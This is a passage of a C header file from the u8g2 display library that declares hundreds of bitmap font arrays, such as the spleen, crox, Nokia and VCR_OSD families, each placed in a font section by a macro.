uint8_t u8g2_font_sirclive_tn[] U8G2_FONT_SECTION("u8g2_font_sirclive_tn"); extern const uint8_t u8g2_font_adventurer_tf[] U8G2_FONT_SECTION("u8g2_font_adventurer_tf"); extern const uint8_t u8g2_font_adventurer_tr[] U8G2_FONT_SECTION("u8g2_font_adventurer_tr"); extern const uint8_t u8g2_font_adventurer_t_all[] U8G2_FONT_SECTION("u8g2_font_adventurer_t_all"); extern const uint8_t u8g2_font_bracketedbabies_tr[] U8G2_FONT_SECTION("u8g2_font_bracketedbabies_tr"); extern const uint8_t u8g2_font_frikativ_tf[] U8G2_FONT_SECTION("u8g2_font_frikativ_tf"); extern const uint8_t u8g2_font_frikativ_tr[] U8G2_FONT_SECTION("u8g2_font_frikativ_tr"); extern const uint8_t u8g2_font_frikativ_t_all[] U8G2_FONT_SECTION("u8g2_font_frikativ_t_all"); extern const uint8_t u8g2_font_fancypixels_tf[] U8G2_FONT_SECTION("u8g2_font_fancypixels_tf"); extern const uint8_t u8g2_font_fancypixels_tr[] U8G2_FONT_SECTION("u8g2_font_fancypixels_tr"); extern const uint8_t u8g2_font_heavybottom_tr[] U8G2_FONT_SECTION("u8g2_font_heavybottom_tr"); extern const uint8_t u8g2_font_iconquadpix_m_all[] U8G2_FONT_SECTION("u8g2_font_iconquadpix_m_all"); extern const uint8_t u8g2_font_tallpix_tr[] U8G2_FONT_SECTION("u8g2_font_tallpix_tr"); extern const uint8_t u8g2_font_botmaker_te[] U8G2_FONT_SECTION("u8g2_font_botmaker_te"); extern const uint8_t u8g2_font_efraneextracondensed_te[] U8G2_FONT_SECTION("u8g2_font_efraneextracondensed_te"); extern const uint8_t u8g2_font_3x3basic_tr[] U8G2_FONT_SECTION("u8g2_font_3x3basic_tr"); extern const uint8_t u8g2_font_tiny_gk_tr[] U8G2_FONT_SECTION("u8g2_font_tiny_gk_tr"); extern const uint8_t u8g2_font_threepix_tr[] U8G2_FONT_SECTION("u8g2_font_threepix_tr"); extern const uint8_t u8g2_font_eventhrees_tr[] U8G2_FONT_SECTION("u8g2_font_eventhrees_tr"); extern const uint8_t u8g2_font_fourmat_tf[] U8G2_FONT_SECTION("u8g2_font_fourmat_tf"); extern const uint8_t u8g2_font_fourmat_tr[] U8G2_FONT_SECTION("u8g2_font_fourmat_tr"); extern const uint8_t u8g2_font_fourmat_te[] U8G2_FONT_SECTION("u8g2_font_fourmat_te"); extern const uint8_t u8g2_font_tiny_simon_tr[] U8G2_FONT_SECTION("u8g2_font_tiny_simon_tr"); extern const uint8_t u8g2_font_tiny_simon_mr[] U8G2_FONT_SECTION("u8g2_font_tiny_simon_mr"); extern const uint8_t u8g2_font_smolfont_tf[] U8G2_FONT_SECTION("u8g2_font_smolfont_tf"); extern const uint8_t u8g2_font_smolfont_tr[] U8G2_FONT_SECTION("u8g2_font_smolfont_tr"); extern const uint8_t u8g2_font_smolfont_te[] U8G2_FONT_SECTION("u8g2_font_smolfont_te"); extern const uint8_t u8g2_font_tinyunicode_tf[] U8G2_FONT_SECTION("u8g2_font_tinyunicode_tf"); extern const uint8_t u8g2_font_tinyunicode_tr[] U8G2_FONT_SECTION("u8g2_font_tinyunicode_tr"); extern const uint8_t u8g2_font_tinyunicode_te[] U8G2_FONT_SECTION("u8g2_font_tinyunicode_te"); extern const uint8_t u8g2_font_tinypixie2_tr[] U8G2_FONT_SECTION("u8g2_font_tinypixie2_tr"); extern const uint8_t u8g2_font_standardized3x5_tr[] U8G2_FONT_SECTION("u8g2_font_standardized3x5_tr"); extern const uint8_t u8g2_font_fivepx_tr[] U8G2_FONT_SECTION("u8g2_font_fivepx_tr"); extern const uint8_t u8g2_font_3x5im_tr[] U8G2_FONT_SECTION("u8g2_font_3x5im_tr"); extern const uint8_t u8g2_font_3x5im_te[] U8G2_FONT_SECTION("u8g2_font_3x5im_te"); extern const uint8_t u8g2_font_3x5im_mr[] U8G2_FONT_SECTION("u8g2_font_3x5im_mr"); extern const uint8_t u8g2_font_wedge_tr[] U8G2_FONT_SECTION("u8g2_font_wedge_tr"); extern const uint8_t u8g2_font_kibibyte_tr[] U8G2_FONT_SECTION("u8g2_font_kibibyte_tr"); extern const uint8_t u8g2_font_kibibyte_te[] U8G2_FONT_SECTION("u8g2_font_kibibyte_te"); extern const uint8_t u8g2_font_tinyface_tr[] U8G2_FONT_SECTION("u8g2_font_tinyface_tr"); extern const uint8_t u8g2_font_tinyface_te[] U8G2_FONT_SECTION("u8g2_font_tinyface_te"); extern const uint8_t u8g2_font_smallsimple_tr[] U8G2_FONT_SECTION("u8g2_font_smallsimple_tr"); extern const uint8_t u8g2_font_smallsimple_te[] U8G2_FONT_SECTION("u8g2_font_smallsimple_te"); extern const uint8_t u8g2_font_simple1_tf[] U8G2_FONT_SECTION("u8g2_font_simple1_tf"); extern const uint8_t u8g2_font_simple1_tr[] U8G2_FONT_SECTION("u8g2_font_simple1_tr"); extern const uint8_t u8g2_font_simple1_te[] U8G2_FONT_SECTION("u8g2_font_simple1_te"); extern const uint8_t u8g2_font_likeminecraft_te[] U8G2_FONT_SECTION("u8g2_font_likeminecraft_te"); extern const uint8_t u8g2_font_medsans_tr[] U8G2_FONT_SECTION("u8g2_font_medsans_tr"); extern const uint8_t u8g2_font_heisans_tr[] U8G2_FONT_SECTION("u8g2_font_heisans_tr"); extern const uint8_t u8g2_font_originalsans_tr[] U8G2_FONT_SECTION("u8g2_font_originalsans_tr"); extern const uint8_t u8g2_font_minicute_tr[] U8G2_FONT_SECTION("u8g2_font_minicute_tr"); extern const uint8_t u8g2_font_minicute_te[] U8G2_FONT_SECTION("u8g2_font_minicute_te"); extern const uint8_t u8g2_font_scrum_tf[] U8G2_FONT_SECTION("u8g2_font_scrum_tf"); extern const uint8_t u8g2_font_scrum_tr[] U8G2_FONT_SECTION("u8g2_font_scrum_tr"); extern const uint8_t u8g2_font_scrum_te[] U8G2_FONT_SECTION("u8g2_font_scrum_te"); extern const uint8_t u8g2_font_stylishcharm_tr[] U8G2_FONT_SECTION("u8g2_font_stylishcharm_tr"); extern const uint8_t u8g2_font_stylishcharm_te[] U8G2_FONT_SECTION("u8g2_font_stylishcharm_te"); extern const uint8_t u8g2_font_sisterserif_tr[] U8G2_FONT_SECTION("u8g2_font_sisterserif_tr"); extern const uint8_t u8g2_font_princess_tr[] U8G2_FONT_SECTION("u8g2_font_princess_tr"); extern const uint8_t u8g2_font_princess_te[] U8G2_FONT_SECTION("u8g2_font_princess_te"); extern const uint8_t u8g2_font_dystopia_tr[] U8G2_FONT_SECTION("u8g2_font_dystopia_tr"); extern const uint8_t u8g2_font_dystopia_te[] U8G2_FONT_SECTION("u8g2_font_dystopia_te"); extern const uint8_t u8g2_font_lastapprenticethin_tr[] U8G2_FONT_SECTION("u8g2_font_lastapprenticethin_tr"); extern const uint8_t u8g2_font_lastapprenticethin_te[] U8G2_FONT_SECTION("u8g2_font_lastapprenticethin_te"); extern const uint8_t u8g2_font_lastapprenticebold_tr[] U8G2_FONT_SECTION("u8g2_font_lastapprenticebold_tr"); extern const uint8_t u8g2_font_lastapprenticebold_te[] U8G2_FONT_SECTION("u8g2_font_lastapprenticebold_te"); extern const uint8_t u8g2_font_bpixel_tr[] U8G2_FONT_SECTION("u8g2_font_bpixel_tr"); extern const uint8_t u8g2_font_bpixel_te[] U8G2_FONT_SECTION("u8g2_font_bpixel_te"); extern const uint8_t u8g2_font_bpixeldouble_tr[] U8G2_FONT_SECTION("u8g2_font_bpixeldouble_tr"); extern const uint8_t u8g2_font_mildras_tr[] U8G2_FONT_SECTION("u8g2_font_mildras_tr"); extern const uint8_t u8g2_font_mildras_te[] U8G2_FONT_SECTION("u8g2_font_mildras_te"); extern const uint8_t u8g2_font_minuteconsole_mr[] U8G2_FONT_SECTION("u8g2_font_minuteconsole_mr"); extern const uint8_t u8g2_font_minuteconsole_tr[] U8G2_FONT_SECTION("u8g2_font_minuteconsole_tr"); extern const uint8_t u8g2_font_busdisplay11x5_tr[] U8G2_FONT_SECTION("u8g2_font_busdisplay11x5_tr"); extern const uint8_t u8g2_font_busdisplay11x5_te[] U8G2_FONT_SECTION("u8g2_font_busdisplay11x5_te"); extern const uint8_t u8g2_font_busdisplay8x5_tr[] U8G2_FONT_SECTION("u8g2_font_busdisplay8x5_tr"); extern const uint8_t u8g2_font_sticker100complete_tr[] U8G2_FONT_SECTION("u8g2_font_sticker100complete_tr"); extern const uint8_t u8g2_font_sticker100complete_te[] U8G2_FONT_SECTION("u8g2_font_sticker100complete_te"); extern const uint8_t u8g2_font_doomalpha04_tr[] U8G2_FONT_SECTION("u8g2_font_doomalpha04_tr"); extern const uint8_t u8g2_font_doomalpha04_te[] U8G2_FONT_SECTION("u8g2_font_doomalpha04_te"); extern const uint8_t u8g2_font_greenbloodserif2_tr[] U8G2_FONT_SECTION("u8g2_font_greenbloodserif2_tr"); extern const uint8_t u8g2_font_eckpixel_tr[] U8G2_FONT_SECTION("u8g2_font_eckpixel_tr"); extern const uint8_t u8g2_font_elispe_tr[] U8G2_FONT_SECTION("u8g2_font_elispe_tr"); extern const uint8_t u8g2_font_neuecraft_tr[] U8G2_FONT_SECTION("u8g2_font_neuecraft_tr"); extern const uint8_t u8g2_font_neuecraft_te[] U8G2_FONT_SECTION("u8g2_font_neuecraft_te"); extern const uint8_t u8g2_font_8bitclassic_tf[] U8G2_FONT_SECTION("u8g2_font_8bitclassic_tf"); extern const uint8_t u8g2_font_8bitclassic_tr[] U8G2_FONT_SECTION("u8g2_font_8bitclassic_tr"); extern const uint8_t u8g2_font_8bitclassic_te[] U8G2_FONT_SECTION("u8g2_font_8bitclassic_te"); extern const uint8_t u8g2_font_littlemissloudonbold_tr[] U8G2_FONT_SECTION("u8g2_font_littlemissloudonbold_tr"); extern const uint8_t u8g2_font_littlemissloudonbold_te[] U8G2_FONT_SECTION("u8g2_font_littlemissloudonbold_te"); extern const uint8_t u8g2_font_commodore64_tr[] U8G2_FONT_SECTION("u8g2_font_commodore64_tr"); extern const uint8_t u8g2_font_new3x9pixelfont_tf[] U8G2_FONT_SECTION("u8g2_font_new3x9pixelfont_tf"); extern const uint8_t u8g2_font_new3x9pixelfont_tr[] U8G2_FONT_SECTION("u8g2_font_new3x9pixelfont_tr"); extern const uint8_t u8g2_font_new3x9pixelfont_te[] U8G2_FONT_SECTION("u8g2_font_new3x9pixelfont_te"); extern const uint8_t u8g2_font_sonicmania_tr[] U8G2_FONT_SECTION("u8g2_font_sonicmania_tr"); extern const uint8_t u8g2_font_sonicmania_te[] U8G2_FONT_SECTION("u8g2_font_sonicmania_te"); extern const uint8_t u8g2_font_bytesize_tf[] U8G2_FONT_SECTION("u8g2_font_bytesize_tf"); extern const uint8_t u8g2_font_bytesize_tr[] U8G2_FONT_SECTION("u8g2_font_bytesize_tr"); extern const uint8_t u8g2_font_bytesize_te[] U8G2_FONT_SECTION("u8g2_font_bytesize_te"); extern const uint8_t u8g2_font_pixzillav1_tf[] U8G2_FONT_SECTION("u8g2_font_pixzillav1_tf"); extern const uint8_t u8g2_font_pixzillav1_tr[] U8G2_FONT_SECTION("u8g2_font_pixzillav1_tr"); extern const uint8_t u8g2_font_pixzillav1_te[] U8G2_FONT_SECTION("u8g2_font_pixzillav1_te"); extern const uint8_t u8g2_font_ciircle13_tr[] U8G2_FONT_SECTION("u8g2_font_ciircle13_tr"); extern const uint8_t u8g2_font_pxclassic_tf[] U8G2_FONT_SECTION("u8g2_font_pxclassic_tf"); extern const uint8_t u8g2_font_pxclassic_tr[] U8G2_FONT_SECTION("u8g2_font_pxclassic_tr"); extern const uint8_t u8g2_font_pxclassic_te[] U8G2_FONT_SECTION("u8g2_font_pxclassic_te"); extern const uint8_t u8g2_font_moosenooks_tr[] U8G2_FONT_SECTION("u8g2_font_moosenooks_tr"); extern const uint8_t u8g2_font_tallpixelextended_tf[] U8G2_FONT_SECTION("u8g2_font_tallpixelextended_tf"); extern const uint8_t u8g2_font_tallpixelextended_tr[] U8G2_FONT_SECTION("u8g2_font_tallpixelextended_tr"); extern const uint8_t u8g2_font_tallpixelextended_te[] U8G2_FONT_SECTION("u8g2_font_tallpixelextended_te"); extern const uint8_t u8g2_font_BBSesque_tf[] U8G2_FONT_SECTION("u8g2_font_BBSesque_tf"); extern const uint8_t u8g2_font_BBSesque_tr[] U8G2_FONT_SECTION("u8g2_font_BBSesque_tr"); extern const uint8_t u8g2_font_BBSesque_te[] U8G2_FONT_SECTION("u8g2_font_BBSesque_te"); extern const uint8_t u8g2_font_Born2bSportySlab_tf[] U8G2_FONT_SECTION("u8g2_font_Born2bSportySlab_tf"); extern const uint8_t u8g2_font_Born2bSportySlab_tr[] U8G2_FONT_SECTION("u8g2_font_Born2bSportySlab_tr"); extern const uint8_t u8g2_font_Born2bSportySlab_te[] U8G2_FONT_SECTION("u8g2_font_Born2bSportySlab_te"); extern const uint8_t u8g2_font_Born2bSportySlab_t_all[] U8G2_FONT_SECTION("u8g2_font_Born2bSportySlab_t_all"); extern const uint8_t u8g2_font_Born2bSportyV2_tf[] U8G2_FONT_SECTION("u8g2_font_Born2bSportyV2_tf"); extern const uint8_t u8g2_font_Born2bSportyV2_tr[] U8G2_FONT_SECTION("u8g2_font_Born2bSportyV2_tr"); extern const uint8_t u8g2_font_Born2bSportyV2_te[] U8G2_FONT_SECTION("u8g2_font_Born2bSportyV2_te"); extern const uint8_t u8g2_font_CursivePixel_tr[] U8G2_FONT_SECTION("u8g2_font_CursivePixel_tr"); extern const uint8_t u8g2_font_Engrish_tf[] U8G2_FONT_SECTION("u8g2_font_Engrish_tf"); extern const uint8_t u8g2_font_Engrish_tr[] U8G2_FONT_SECTION("u8g2_font_Engrish_tr"); extern const uint8_t u8g2_font_ImpactBits_tr[] U8G2_FONT_SECTION("u8g2_font_ImpactBits_tr"); extern const uint8_t u8g2_font_IPAandRUSLCD_tf[] U8G2_FONT_SECTION("u8g2_font_IPAandRUSLCD_tf"); extern const uint8_t u8g2_font_IPAandRUSLCD_tr[] U8G2_FONT_SECTION("u8g2_font_IPAandRUSLCD_tr"); extern const uint8_t u8g2_font_IPAandRUSLCD_te[] U8G2_FONT_SECTION("u8g2_font_IPAandRUSLCD_te"); extern const uint8_t u8g2_font_PixelTheatre_tr[] U8G2_FONT_SECTION("u8g2_font_PixelTheatre_tr"); extern const uint8_t u8g2_font_PixelTheatre_te[] U8G2_FONT_SECTION("u8g2_font_PixelTheatre_te"); extern const uint8_t u8g2_font_HelvetiPixel_tr[] U8G2_FONT_SECTION("u8g2_font_HelvetiPixel_tr"); extern const uint8_t u8g2_font_TimesNewPixel_tr[] U8G2_FONT_SECTION("u8g2_font_TimesNewPixel_tr"); extern const uint8_t u8g2_font_BitTypeWriter_tr[] U8G2_FONT_SECTION("u8g2_font_BitTypeWriter_tr"); extern const uint8_t u8g2_font_BitTypeWriter_te[] U8G2_FONT_SECTION("u8g2_font_BitTypeWriter_te"); extern const uint8_t u8g2_font_Georgia7px_tf[] U8G2_FONT_SECTION("u8g2_font_Georgia7px_tf"); extern const uint8_t u8g2_font_Georgia7px_tr[] U8G2_FONT_SECTION("u8g2_font_Georgia7px_tr"); extern const uint8_t u8g2_font_Georgia7px_te[] U8G2_FONT_SECTION("u8g2_font_Georgia7px_te"); extern const uint8_t u8g2_font_Wizzard_tr[] U8G2_FONT_SECTION("u8g2_font_Wizzard_tr"); extern const uint8_t u8g2_font_HelvetiPixelOutline_tr[] U8G2_FONT_SECTION("u8g2_font_HelvetiPixelOutline_tr"); extern const uint8_t u8g2_font_HelvetiPixelOutline_te[] U8G2_FONT_SECTION("u8g2_font_HelvetiPixelOutline_te"); extern const uint8_t u8g2_font_Untitled16PixelSansSerifBitmap_tr[] U8G2_FONT_SECTION("u8g2_font_Untitled16PixelSansSerifBitmap_tr"); extern const uint8_t u8g2_font_UnnamedDOSFontIV_tr[] U8G2_FONT_SECTION("u8g2_font_UnnamedDOSFontIV_tr"); extern const uint8_t u8g2_font_Terminal_tr[] U8G2_FONT_SECTION("u8g2_font_Terminal_tr"); extern const uint8_t u8g2_font_Terminal_te[] U8G2_FONT_SECTION("u8g2_font_Terminal_te"); extern const uint8_t u8g2_font_NokiaLargeBold_tf[] U8G2_FONT_SECTION("u8g2_font_NokiaLargeBold_tf"); extern const uint8_t u8g2_font_NokiaLargeBold_tr[] U8G2_FONT_SECTION("u8g2_font_NokiaLargeBold_tr"); extern const uint8_t u8g2_font_NokiaLargeBold_te[] U8G2_FONT_SECTION("u8g2_font_NokiaLargeBold_te"); extern const uint8_t u8g2_font_NokiaSmallBold_tf[] U8G2_FONT_SECTION("u8g2_font_NokiaSmallBold_tf"); extern const uint8_t u8g2_font_NokiaSmallBold_tr[] U8G2_FONT_SECTION("u8g2_font_NokiaSmallBold_tr"); extern const uint8_t u8g2_font_NokiaSmallBold_te[] U8G2_FONT_SECTION("u8g2_font_NokiaSmallBold_te"); extern const uint8_t u8g2_font_NokiaSmallPlain_tf[] U8G2_FONT_SECTION("u8g2_font_NokiaSmallPlain_tf"); extern const uint8_t u8g2_font_NokiaSmallPlain_tr[] U8G2_FONT_SECTION("u8g2_font_NokiaSmallPlain_tr"); extern const uint8_t u8g2_font_NokiaSmallPlain_te[] U8G2_FONT_SECTION("u8g2_font_NokiaSmallPlain_te"); extern const uint8_t u8g2_font_12x6LED_tf[] U8G2_FONT_SECTION("u8g2_font_12x6LED_tf"); extern const uint8_t u8g2_font_12x6LED_tr[] U8G2_FONT_SECTION("u8g2_font_12x6LED_tr"); extern const uint8_t u8g2_font_12x6LED_mn[] U8G2_FONT_SECTION("u8g2_font_12x6LED_mn"); extern const uint8_t u8g2_font_9x6LED_tf[] U8G2_FONT_SECTION("u8g2_font_9x6LED_tf"); extern const uint8_t u8g2_font_9x6LED_tr[] U8G2_FONT_SECTION("u8g2_font_9x6LED_tr"); extern const uint8_t u8g2_font_9x6LED_mn[] U8G2_FONT_SECTION("u8g2_font_9x6LED_mn"); extern const uint8_t u8g2_font_calblk36_tr[] U8G2_FONT_SECTION("u8g2_font_calblk36_tr"); extern const uint8_t u8g2_font_callite24_tr[] U8G2_FONT_SECTION("u8g2_font_callite24_tr"); extern const uint8_t u8g2_font_spleen5x8_mf[] U8G2_FONT_SECTION("u8g2_font_spleen5x8_mf"); extern const uint8_t u8g2_font_spleen5x8_mr[] U8G2_FONT_SECTION("u8g2_font_spleen5x8_mr"); extern const uint8_t u8g2_font_spleen5x8_mn[] U8G2_FONT_SECTION("u8g2_font_spleen5x8_mn"); extern const uint8_t u8g2_font_spleen5x8_mu[] U8G2_FONT_SECTION("u8g2_font_spleen5x8_mu"); extern const uint8_t u8g2_font_spleen5x8_me[] U8G2_FONT_SECTION("u8g2_font_spleen5x8_me"); extern const uint8_t u8g2_font_spleen6x12_mf[] U8G2_FONT_SECTION("u8g2_font_spleen6x12_mf"); extern const uint8_t u8g2_font_spleen6x12_mr[] U8G2_FONT_SECTION("u8g2_font_spleen6x12_mr"); extern const uint8_t u8g2_font_spleen6x12_mn[] U8G2_FONT_SECTION("u8g2_font_spleen6x12_mn"); extern const uint8_t u8g2_font_spleen6x12_mu[] U8G2_FONT_SECTION("u8g2_font_spleen6x12_mu"); extern const uint8_t u8g2_font_spleen6x12_me[] U8G2_FONT_SECTION("u8g2_font_spleen6x12_me"); extern const uint8_t u8g2_font_spleen8x16_mf[] U8G2_FONT_SECTION("u8g2_font_spleen8x16_mf"); extern const uint8_t u8g2_font_spleen8x16_mr[] U8G2_FONT_SECTION("u8g2_font_spleen8x16_mr"); extern const uint8_t u8g2_font_spleen8x16_mn[] U8G2_FONT_SECTION("u8g2_font_spleen8x16_mn"); extern const uint8_t u8g2_font_spleen8x16_mu[] U8G2_FONT_SECTION("u8g2_font_spleen8x16_mu"); extern const uint8_t u8g2_font_spleen8x16_me[] U8G2_FONT_SECTION("u8g2_font_spleen8x16_me"); extern const uint8_t u8g2_font_spleen12x24_mf[] U8G2_FONT_SECTION("u8g2_font_spleen12x24_mf"); extern const uint8_t u8g2_font_spleen12x24_mr[] U8G2_FONT_SECTION("u8g2_font_spleen12x24_mr"); extern const uint8_t u8g2_font_spleen12x24_mn[] U8G2_FONT_SECTION("u8g2_font_spleen12x24_mn"); extern const uint8_t u8g2_font_spleen12x24_mu[] U8G2_FONT_SECTION("u8g2_font_spleen12x24_mu"); extern const uint8_t u8g2_font_spleen12x24_me[] U8G2_FONT_SECTION("u8g2_font_spleen12x24_me"); extern const uint8_t u8g2_font_spleen16x32_mf[] U8G2_FONT_SECTION("u8g2_font_spleen16x32_mf"); extern const uint8_t u8g2_font_spleen16x32_mr[] U8G2_FONT_SECTION("u8g2_font_spleen16x32_mr"); extern const uint8_t u8g2_font_spleen16x32_mn[] U8G2_FONT_SECTION("u8g2_font_spleen16x32_mn"); extern const uint8_t u8g2_font_spleen16x32_mu[] U8G2_FONT_SECTION("u8g2_font_spleen16x32_mu"); extern const uint8_t u8g2_font_spleen16x32_me[] U8G2_FONT_SECTION("u8g2_font_spleen16x32_me"); extern const uint8_t u8g2_font_spleen32x64_mf[] U8G2_FONT_SECTION("u8g2_font_spleen32x64_mf"); extern const uint8_t u8g2_font_spleen32x64_mr[] U8G2_FONT_SECTION("u8g2_font_spleen32x64_mr"); extern const uint8_t u8g2_font_spleen32x64_mn[] U8G2_FONT_SECTION("u8g2_font_spleen32x64_mn"); extern const uint8_t u8g2_font_spleen32x64_mu[] U8G2_FONT_SECTION("u8g2_font_spleen32x64_mu"); extern const uint8_t u8g2_font_spleen32x64_me[] U8G2_FONT_SECTION("u8g2_font_spleen32x64_me"); extern const uint8_t u8g2_font_nokiafc22_tf[] U8G2_FONT_SECTION("u8g2_font_nokiafc22_tf"); extern const uint8_t u8g2_font_nokiafc22_tr[] U8G2_FONT_SECTION("u8g2_font_nokiafc22_tr"); extern const uint8_t u8g2_font_nokiafc22_tn[] U8G2_FONT_SECTION("u8g2_font_nokiafc22_tn"); extern const uint8_t u8g2_font_nokiafc22_tu[] U8G2_FONT_SECTION("u8g2_font_nokiafc22_tu"); extern const uint8_t u8g2_font_VCR_OSD_tf[] U8G2_FONT_SECTION("u8g2_font_VCR_OSD_tf"); extern const uint8_t u8g2_font_VCR_OSD_tr[] U8G2_FONT_SECTION("u8g2_font_VCR_OSD_tr"); extern const uint8_t u8g2_font_VCR_OSD_tn[] U8G2_FONT_SECTION("u8g2_font_VCR_OSD_tn"); extern const uint8_t u8g2_font_VCR_OSD_tu[] U8G2_FONT_SECTION("u8g2_font_VCR_OSD_tu"); extern const uint8_t u8g2_font_VCR_OSD_mf[] U8G2_FONT_SECTION("u8g2_font_VCR_OSD_mf"); extern const uint8_t u8g2_font_VCR_OSD_mr[] U8G2_FONT_SECTION("u8g2_font_VCR_OSD_mr"); extern const uint8_t u8g2_font_VCR_OSD_mn[] U8G2_FONT_SECTION("u8g2_font_VCR_OSD_mn"); extern const uint8_t u8g2_font_VCR_OSD_mu[] U8G2_FONT_SECTION("u8g2_font_VCR_OSD_mu"); extern const uint8_t u8g2_font_Pixellari_tf[] U8G2_FONT_SECTION("u8g2_font_Pixellari_tf"); extern const uint8_t u8g2_font_Pixellari_tr[] U8G2_FONT_SECTION("u8g2_font_Pixellari_tr"); extern const uint8_t u8g2_font_Pixellari_tn[] U8G2_FONT_SECTION("u8g2_font_Pixellari_tn"); extern const uint8_t u8g2_font_Pixellari_tu[] U8G2_FONT_SECTION("u8g2_font_Pixellari_tu"); extern const uint8_t u8g2_font_Pixellari_te[] U8G2_FONT_SECTION("u8g2_font_Pixellari_te"); extern const uint8_t u8g2_font_pixelpoiiz_tr[] U8G2_FONT_SECTION("u8g2_font_pixelpoiiz_tr"); extern const uint8_t u8g2_font_DigitalDiscoThin_tf[] U8G2_FONT_SECTION("u8g2_font_DigitalDiscoThin_tf"); extern const uint8_t u8g2_font_DigitalDiscoThin_tr[] U8G2_FONT_SECTION("u8g2_font_DigitalDiscoThin_tr"); extern const uint8_t u8g2_font_DigitalDiscoThin_tn[] U8G2_FONT_SECTION("u8g2_font_DigitalDiscoThin_tn"); extern const uint8_t u8g2_font_DigitalDiscoThin_tu[] U8G2_FONT_SECTION("u8g2_font_DigitalDiscoThin_tu"); extern const uint8_t u8g2_font_DigitalDiscoThin_te[] U8G2_FONT_SECTION("u8g2_font_DigitalDiscoThin_te"); extern const uint8_t u8g2_font_DigitalDisco_tf[] U8G2_FONT_SECTION("u8g2_font_DigitalDisco_tf"); extern const uint8_t u8g2_font_DigitalDisco_tr[] U8G2_FONT_SECTION("u8g2_font_DigitalDisco_tr"); extern const uint8_t u8g2_font_DigitalDisco_tn[] U8G2_FONT_SECTION("u8g2_font_DigitalDisco_tn"); extern const uint8_t u8g2_font_DigitalDisco_tu[] U8G2_FONT_SECTION("u8g2_font_DigitalDisco_tu"); extern const uint8_t u8g2_font_DigitalDisco_te[] U8G2_FONT_SECTION("u8g2_font_DigitalDisco_te"); extern const uint8_t u8g2_font_pearfont_tr[] U8G2_FONT_SECTION("u8g2_font_pearfont_tr"); extern const uint8_t u8g2_font_etl14thai_t[] U8G2_FONT_SECTION("u8g2_font_etl14thai_t"); extern const uint8_t u8g2_font_etl16thai_t[] U8G2_FONT_SECTION("u8g2_font_etl16thai_t"); extern const uint8_t u8g2_font_etl24thai_t[] U8G2_FONT_SECTION("u8g2_font_etl24thai_t"); extern const uint8_t u8g2_font_crox1cb_tf[] U8G2_FONT_SECTION("u8g2_font_crox1cb_tf"); extern const uint8_t u8g2_font_crox1cb_tr[] U8G2_FONT_SECTION("u8g2_font_crox1cb_tr"); extern const uint8_t u8g2_font_crox1cb_tn[] U8G2_FONT_SECTION("u8g2_font_crox1cb_tn"); extern const uint8_t u8g2_font_crox1cb_mf[] U8G2_FONT_SECTION("u8g2_font_crox1cb_mf"); extern const uint8_t u8g2_font_crox1cb_mr[] U8G2_FONT_SECTION("u8g2_font_crox1cb_mr"); extern const uint8_t u8g2_font_crox1cb_mn[] U8G2_FONT_SECTION("u8g2_font_crox1cb_mn"); extern const uint8_t u8g2_font_crox1c_tf[] U8G2_FONT_SECTION("u8g2_font_crox1c_tf"); extern const uint8_t u8g2_font_crox1c_tr[] U8G2_FONT_SECTION("u8g2_font_crox1c_tr"); extern const uint8_t u8g2_font_crox1c_tn[] U8G2_FONT_SECTION("u8g2_font_crox1c_tn"); extern const uint8_t u8g2_font_crox1c_mf[] U8G2_FONT_SECTION("u8g2_font_crox1c_mf"); extern const uint8_t u8g2_font_crox1c_mr[] U8G2_FONT_SECTION("u8g2_font_crox1c_mr"); extern const uint8_t u8g2_font_crox1c_mn[] U8G2_FONT_SECTION("u8g2_font_crox1c_mn"); extern const uint8_t u8g2_font_crox1hb_tf[] U8G2_FONT_SECTION("u8g2_font_crox1hb_tf"); extern const uint8_t u8g2_font_crox1hb_tr[] U8G2_FONT_SECTION("u8g2_font_crox1hb_tr"); extern const uint8_t u8g2_font_crox1hb_tn[] U8G2_FONT_SECTION("u8g2_font_crox1hb_tn"); extern const uint8_t u8g2_font_crox1h_tf[] U8G2_FONT_SECTION("u8g2_font_crox1h_tf"); extern const uint8_t u8g2_font_crox1h_tr[] U8G2_FONT_SECTION("u8g2_font_crox1h_tr"); extern const uint8_t u8g2_font_crox1h_tn[] U8G2_FONT_SECTION("u8g2_font_crox1h_tn"); extern const uint8_t u8g2_font_crox1tb_tf[] U8G2_FONT_SECTION("u8g2_font_crox1tb_tf"); extern const uint8_t u8g2_font_crox1tb_tr[] U8G2_FONT_SECTION("u8g2_font_crox1tb_tr"); extern const uint8_t u8g2_font_crox1tb_tn[] U8G2_FONT_SECTION("u8g2_font_crox1tb_tn"); extern const uint8_t u8g2_font_crox1t_tf[] U8G2_FONT_SECTION("u8g2_font_crox1t_tf"); extern const uint8_t u8g2_font_crox1t_tr[] U8G2_FONT_SECTION("u8g2_font_crox1t_tr"); extern const uint8_t u8g2_font_crox1t_tn[] U8G2_FONT_SECTION("u8g2_font_crox1t_tn"); extern const uint8_t u8g2_font_crox2cb_tf[] U8G2_FONT_SECTION("u8g2_font_crox2cb_tf"); extern const uint8_t u8g2_font_crox2cb_tr[] U8G2_FONT_SECTION("u8g2_font_crox2cb_tr"); extern const uint8_t u8g2_font_crox2cb_tn[] U8G2_FONT_SECTION("u8g2_font_crox2cb_tn"); extern const uint8_t u8g2_font_crox2cb_mf[] U8G2_FONT_SECTION("u8g2_font_crox2cb_mf"); extern const uint8_t u8g2_font_crox2cb_mr[] U8G2_FONT_SECTION("u8g2_font_crox2cb_mr"); extern const uint8_t u8g2_font_crox2cb_mn[] U8G2_FONT_SECTION("u8g2_font_crox2cb_mn"); extern const uint8_t u8g2_font_crox2c_tf[] U8G2_FONT_SECTION("u8g2_font_crox2c_tf"); extern const uint8_t u8g2_font_crox2c_tr[] U8G2_FONT_SECTION("u8g2_font_crox2c_tr"); extern const uint8_t u8g2_font_crox2c_tn[] U8G2_FONT_SECTION("u8g2_font_crox2c_tn"); extern const uint8_t u8g2_font_crox2c_mf[] U8G2_FONT_SECTION("u8g2_font_crox2c_mf"); extern const uint8_t u8g2_font_crox2c_mr[] U8G2_FONT_SECTION("u8g2_font_crox2c_mr"); extern const uint8_t u8g2_font_crox2c_mn[] U8G2_FONT_SECTION("u8g2_font_crox2c_mn"); extern const uint8_t u8g2_font_crox2hb_tf[] U8G2_FONT_SECTION("u8g2_font_crox2hb_tf"); extern const uint8_t u8g2_font_crox2hb_tr[] U8G2_FONT_SECTION("u8g2_font_crox2hb_tr"); extern const uint8_t u8g2_font_crox2hb_tn[] U8G2_FONT_SECTION("u8g2_font_crox2hb_tn"); extern const uint8_t u8g2_font_crox2h_tf[] U8G2_FONT_SECTION("u8g2_font_crox2h_tf"); extern const uint8_t 